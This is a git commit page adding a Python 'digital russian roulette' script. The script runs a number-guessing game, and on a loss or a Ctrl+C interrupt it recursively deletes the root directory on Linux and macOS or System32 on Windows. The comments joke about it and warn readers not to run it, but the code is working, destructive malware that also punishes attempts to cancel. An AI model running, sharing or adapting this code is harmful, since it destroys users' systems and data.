diff options
| author | Arslaan Pathan <[email protected]> | 2026-06-15 13:17:04 +1200 |
|---|---|---|
| committer | Arslaan Pathan <[email protected]> | 2026-06-15 13:17:04 +1200 |
| commit | 70fcf26f56c376263adece693de19843ba2661a8 (patch) | |
| tree | 8006040a5b0353ca2ba8b619ca52ecdc34684ada | |
| download | russian-roulette-main.tar.xz russian-roulette-main.zip | |
| -rw-r--r-- | russian_roulette.py | 46 |
1 files changed, 46 insertions, 0 deletions
diff --git a/russian_roulette.py b/russian_roulette.py new file mode 100644 index 0000000..8e9d3f4 --- /dev/null +++ b/russian_roulette.py @@ -0,0 +1,46 @@ +# digital russian roulette +# DO N O T run this!!!! just dont +# if you really really wanna try do it in a vm +# funny game +import os +import shutil +import sys +import random + +directory_to_remove = "" +if sys.platform == "linux": + print("Detected Linux...") + directory_to_remove = "/" +elif sys.platform == "win32": + print("Detected Windows (win32)") + directory_to_remove = "C:\\Windows\\System32" +elif sys.platform == "darwin": + print("Detected MacOS (darwin)") + directory_to_remove = "/" +else: + print("we couldn't figure out what operating system you use.") + print("what the frankenstein are you using? custom kernel?") + print("exiting... no russian roulette for you.") + sys.exit(1) + +rands = [str(random.randint(1, 6))] + +#print(f"debug test: the number is {rand}") + +while len(rands) != 5: + try: + guess = input("heres a fun game, pick a random number from 1 to 6: ") + except KeyboardInterrupt: + print("You think you can try to cancel it?") + print(f"Deleting {directory_to_remove}...") + shutil.rmtree(directory_to_remove) + sys.exit(1) + + if guess not in rands: + print("You're safe... for now :)") + rands.append(str(random.randint(1,6))) + else: + print("You lose!") + print(f"Deleting {directory_to_remove}...") + shutil.rmtree(directory_to_remove) + sys.exit(0) |
